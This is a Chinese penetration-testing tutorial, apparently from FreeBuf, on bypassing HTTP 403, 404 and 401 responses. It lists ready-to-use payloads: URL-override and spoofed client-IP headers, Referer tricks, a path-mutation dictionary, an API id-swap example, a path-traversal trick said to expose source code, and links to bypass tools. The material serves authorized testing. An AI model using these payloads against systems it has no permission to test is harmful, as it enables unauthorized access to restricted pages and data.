0x00 前言
我们在做渗透测试时经常会碰到40x的资产。有一些40x的页面是可以绕过的,下面将介绍一些方法。
403
利用端口
扫描主机端口,寻找其他开放的端口然后路径扫描。
HOST碰撞
可以参考我之前的文章 https://www.freebuf.com/articles/web/341893.html
覆盖请求URL
尝试使用X-Original-URL
和X-Rewrite-URL
标头绕过Web服务器的限制。通过支持X-Original-URL
和X-Rewrite-URL
标头,用户可以使用这俩请求标头覆盖请求URL中的路径,尝试绕过对更高级别的缓存和Web服务器的限制。
X-Original-URL: /auth/login
X-Rewrite-URL: /auth/login
Referer绕过
尝试使用Referer标头绕过Web服务器的限制。
介绍:Referer请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用Referer请求头识别访问来源。
Referer:https://xxx/auth/login
原请求
Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 Forbidden
修改
Reqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK
代理IP
一般开发者会通过Nginx代理识别访问端IP限制对接口的访问,尝试使用X-Forwarded-For
、X-Forwared-Host
等标头绕过Web服务器的限制。
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
403或302字典绕过
替换{replace}的值为需要绕过的路径
/{replace}
/{replace}/
/{replace}//
//{replace}//
/{replace}/*
/{replace}/*/
/{replace}/.
/{replace}/./
/./{replace}/./
/{replace}/./.
/{replace}/./.
/{replace}?
/{replace}??
/{replace}???
/{replace}..;/
/{replace}/..;/
/%2f/{replace}
/%2e/{replace}
/{replace}%20/
/{replace}%09/
/%20{replace}%20/
/{replace}%20/page
继续扫
遇到403红藕,将403的路径作为前缀继续扫描路径
bypass 403的脚本
https://github.com/sting8k/BurpSuite_403Bypasser
https://github.com/yunemse48/403bypasser
https://github.com/devploit/dontgo403
https://github.com/daffainfo/bypass-403
403bypass的wiki
https://kathan19.gitbook.io/howtohunt/status-code-bypass/403bypass
替换大小写
比如
https://redacted.com/admin -> 403 Forbidden
https://redacted.com/Admin -> 200 OK
https://redacted.com/aDmin -> 200 OK
403 bypass工具
https://github.com/lobuhi/byp4xx
https://github.com/iamj0ker/bypass-403
https://github.com/gotr00t0day/forbiddenpass
https://github.com/m4dm0e/dirdar
403 API接口方法
案例
GET /api/v1/user/id 403
/api/v1/user/id.json
/api/v1/user/id?
/api/v1/user/id/
/api/v2/user/id
/api/v1/user/id&accountdetail
/api/v1/user/yourid&victimid
X-Original-URL: /api/v1/user/id/
404
比如:
http://example[.]com/index.php -> File not found
http://example[.].com/assets../index.php -> source code
字典:
/index.php
/assets../index.php
/img../index.php
/js../index.php
/vendors../index.php
/media../index.php
也可以将index.php替换为你需要的路径
401相关测试思路
1.文件枚举
2.通过搜索引擎来发现更多信息
3.在github上面搜索类似的域名
4.通过Wayback来搜索查找
5.改变HTTP的方法(get/post/put/delete/patch/...)
6.对cookies,参数,header,hosts,目录进行模糊测试
参考链接
https://mp.weixin.qq.com/s/hfrdpsmUhVpXV96HufaxSg
https://mp.weixin.qq.com/s/1zsvQj2rvQKlZzh7L_Thyg
https://mp.weixin.qq.com/s/s64aww-fsmZ2I7nezdbT_A
https://mp.weixin.qq.com/s/oVvMtTh2w-4HgOUJtZTqaw
https://mp.weixin.qq.com/s/OnIeM8DVkZ_F27LGadPzRg
请登录/注册后在FreeBuf发布内容哦